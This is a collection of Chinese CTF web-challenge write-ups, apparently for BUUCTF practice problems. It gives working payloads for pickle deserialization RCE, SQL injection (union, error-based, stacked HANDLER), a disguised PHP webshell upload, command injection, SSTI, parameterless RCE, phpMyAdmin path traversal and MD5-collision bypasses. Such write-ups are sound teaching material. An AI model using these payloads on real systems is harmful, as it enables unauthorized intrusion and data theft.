  • 接收post的becode值,并pickle处理(相当于序列化和反序列化),我们可以通过构造一个类中含有__reduce__函数(reduce 被定义之后,当对象被Pickle时就会被调用),再通过这个函数执行代码
  • 构造payload
#python2
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)
  • 得到c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.,post传入即可获得flag(再urlencode一下)

[SWPU2019]Web1

  • 注册一个账号
  • 登陆看看,可以申请发布广告,当传入的是1'时,会报错,所以推测是存在sql注入
  • fuzz后,发现过滤了空格,可以用/**/绕过,过滤了or,所以没法用order by测有多少列
  • 只能union select 一列一列测
  • 最终测得有22列,显示在第2,3列
  • 于是构造payload,因为过滤了or,这篇文章有讲绕过思路(链接)
  • 构造payload-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22,回显表名FLAG_TABLE,news,users,gtid_slave_pos,ads,users
  • 读取flag-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[极客大挑战 2019]Upload

  • 是一个上传题
  • 但是限制了文件后缀名
  • 于是抓包改一下,尝试绕过
  • 最后构造为
Content-Disposition: form-data; name="file"; filename="111.phtml"
Content-Type: image/jpeg

GIF89 
<script language="php">eval($_REQUEST[rdd])</script>
  • 成功上传,连接后获得flag

[安洵杯 2019]easy_web

  • 这个题以前写的有,直接拿来用吧
  • 打开题目后,观察url:
http://xjusec.club:8814/index.php?img=TXpVek5UTTFNa1UyUVRjd05qYz0&cmd=
  • 对img的值进行两次base64解码和一次base16解码:555.jpg
  • 于是猜想用img读取页面源码
  • 构造url
http://xjusec.club:8814/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
  • 源码中回显数据
data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5hMVV5VVZSamQwNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZyI+JzsKICAgIGRpZSgieGl4ae+9niBubyBmbGFnIik7Cn0gZWxzZSB7CiAgICAkdHh0ID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwogICAgZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiIC4gJHR4dCAuICInPjwvaW1nPiI7CiAgICBlY2hvICI8YnI+IjsKfQplY2hvICRjbWQ7CmVjaG8gIjxicj4iOwppZiAocHJlZ19tYXRjaCgiL2xzfGJhc2h8dGFjfG5sfG1vcmV8bGVzc3xoZWFkfHdnZXR8dGFpbHx2aXxjYXR8b2R8Z3JlcHxzZWR8Ynptb3JlfGJ6bGVzc3xwY3JlfHBhc3RlfGRpZmZ8ZmlsZXxlY2hvfHNofFwnfFwifFxgfDt8LHxcKnxcP3xcXHxcXFxcfFxufFx0fFxyfFx4QTB8XHt8XH18XCh8XCl8XCZbXlxkXXxAfFx8fFxcJHxcW3xcXXx7fH18XCh8XCl8LXw8fD4vaSIsICRjbWQpKSB7CiAgICBlY2hvKCJmb3JiaWQgfiIpOwogICAgZWNobyAiPGJyPiI7Cn0gZWxzZSB7CiAgICBpZiAoKHN0cmluZykkX1BPU1RbJ2EnXSAhPT0gKHN0cmluZykkX1BPU1RbJ2InXSAmJiBtZDUoJF9QT1NUWydhJ10pID09PSBtZDUoJF9QT1NUWydiJ10pKSB7CiAgICAgICAgZWNobyBgJGNtZGA7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gKCJtZDUgaXMgZnVubnkgfiIpOwogICAgfQp9Cgo/Pgo8aHRtbD4KPHN0eWxlPgogIGJvZHl7CiAgIGJhY2tncm91bmQ6dXJsKC4vYmoucG5nKSAgbm8tcmVwZWF0IGNlbnRlciBjZW50ZXI7CiAgIGJhY2tncm91bmQtc2l6ZTpjb3ZlcjsKICAgYmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkOwogICBiYWNrZ3JvdW5kLWNvbG9yOiNDQ0NDQ0M7Cn0KPC9zdHlsZT4KPGJvZHk+CjwvYm9keT4KPC9odG1sPg==
  • 对数据进行base64解码,得到index.php的源码

error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNa1UyUVRjd05qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
  • 代码审计之后,获得如下信息:
    • echo$cmd ; cmd 可以执行命令,但是过滤了大量命令
    • if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) POST a和b ,a和b不能相等,但是他们的md5值要相等。且string()函数对a和b进行了处理,md5值的比较使用 === 不能使用传入数组绕过
  • 绕过:
    • cmd 绕过思路,预期:ca\t /fla\g,非预期:没有禁用cp命令,可以把flag复制到web目录下,然后直接访问
    • md5值比较的绕过思路,这里用到了md5值碰撞
  • 构建paylaod
GET:cmd=ca\t /fla\g
POST:a=a=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
b=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

[ASIS 2019]Unicorn shop

  • 打开后是一个购买界面,输入商品id和price可以购买
  • 当购买第一个的时候,显示Wrong commodity!
  • 尝试其他几个,到4的时候回显Only one char(?) allowed!,只能输入一个字符
  • 查看源码有提示
  • utf-8是一个重要的点,所以这里想到了utf-8编码的转换安全问题
  • 构造payloadid=4&price=%E1%8D%BC就有flag了

[WesternCTF2018]shrine

  • 直接ctrl u查看源码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

  • 有两个路由

/ : 显示源码
/shrine : 替换小括号,设置黑名单是config,self

  • 是一个ssti的题
  • 绕过一下就行了
  • 禁用了config,还有url_for等能用的
  • 获取flag的payload:{{url_for.__globals__['current_app'].config}}

[ACTF2020 新生赛]Include

  • 文件包含,没啥要说的

[GXYCTF2019]禁止套娃

  • 主界面没什么有用的信息
  • 应该是要扫一下的,于是就发现了.git目录
  • 直接Githack一把梭,还原出源码
[root@iZ2ze6zwjffnai8rtmfwe2Z GitHack]# python GitHack.py http://db3a2f24-2c06-4942-9624-0f1a7074ebc0.node3.buuoj.cn/.git/
[+] Download and parse index file ...
index.php
[OK] index.php

  • 源码如下

include "flag.php";
echo "flag在哪里呢?
"
; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
  • 第一个过滤伪协议

  • 第二个指不能有参数

  • 第三个过滤了一些关键函数

  • 典型的无参数rce

  • 前面有一些国赛考过,这里直接拿来套吧

  • 用localenv()+current()构造一个.出来

  • 最后的payload:http://db3a2f24-2c06-4942-9624-0f1a7074ebc0.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));

[CISCN 2019 初赛]Love Math

  • 老题了,去年国赛初赛时的题
  • 但是开启了万恶之源,去年围绕这个题又出了好多题
  • 打开页面就是源码

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
  • 限制了长度是80以内

  • 不能有一些特殊符号

  • 还设置了白名单

  • 尝试$function = "phpinfo";$function();的方式

  • 其中base_convert()函数的作用为:在任意进制之间转换数字。

 //八进制转十进制
$oct = "0031";
echo base_convert($oct,8,10);
?>

 //八进制转十六进制
$oct = "364";
echo base_convert($oct,8,16);
?>
  • 直接看一下别人的思路
?exp=cat /flag&abs=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){abs}($$pi{exp})

[GXYCTF2019]BabySQli

  • 随便登陆一下,在源码中发现线索
  • MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
  • base一把梭,得到源码:select * from user where username = '$name'
  • 只对name进行操作了
  • 构造payload:name=0' union 1,2,3#可以得到列数是三列,但是提示的是wrong user
  • 预测的是后台是三列:id,user,passwd
  • 所以直接构造一个payload:name=0' union select 1,'admin','eccbc87e4b5ce2fe2830fd9f2a7baf3'#&pw=3获得flag

[ACTF2020 新生赛]Exec

  • 打开是一个pingip的页面
  • 可能是命令执行
  • 构造一个target=111||ls,回显目录
  • 直接读flag一把梭

[极客大挑战 2019]HardSQL

  • 熟悉的界面
  • 熟悉的sql注入
  • 这次又增加了一点难度
  • 这次是报错注入
  • 爆数据库:?username=admin'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=123
  • 爆表,爆列一把梭,就是过滤了空格,记得用()就行了
  • 读flag:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
  • 只出来一部分,用left函数等字符串截取函数截取一下就行了
  • 读出后半段?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123

[GYCTF2020]Blacklist

  • 打开界面,熟悉的堆叠注入场景

  • 过滤了return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

  • 不能用强网杯随便注那一把梭了

  • 之前写的文章里有类似的题,使用handler读数据

  • 读表名:inject=1';show tables;#

  • 读数据:?inject=1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

  • handler的用法:

HANDLER … OPEN语句打开一个表,使其可以使用后续
HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用
HANDLER … CLOSE或会话终止之前不会关闭

[GWCTF 2019]我有一个数据库

  • 主界面:

我有一个数据库,但里面什么也没有~
不信你找

  • 还要扫一下

  • 扫出来了phpmyadmin/,应该是直接任意文件包含的洞

  • phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd回显/etc/passwd

  • 然后就直接读flag了

  • 还以为要getshell呢

[BJDCTF2020]Easy MD5

  • 打开界面,是一个输入提交框

  • 没思路,直接百度一波

  • 传入password=ffifdyop,是因为ffifdyop的md5值是'or '6的16进制,拼接在sql语句中,刚好是永真

  • 跳转到了levels91.php,源码中有线索,传入?a[]=1&b[]=2后进入下一层套娃levell14.php

  • 源码:


error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
  • 和上一关一样,数组绕过即可

[ACTF2020 新生赛]BackupFile

  • 应该是找备份的
  • 扫一下,发下了index.php.bak

include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


  • 弱类型比较,直接传?key=123就行了

你可能感兴趣的:(CTF)

' . htmlentities($func) . ' Opt
' . htmlentities($value) . ' . htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎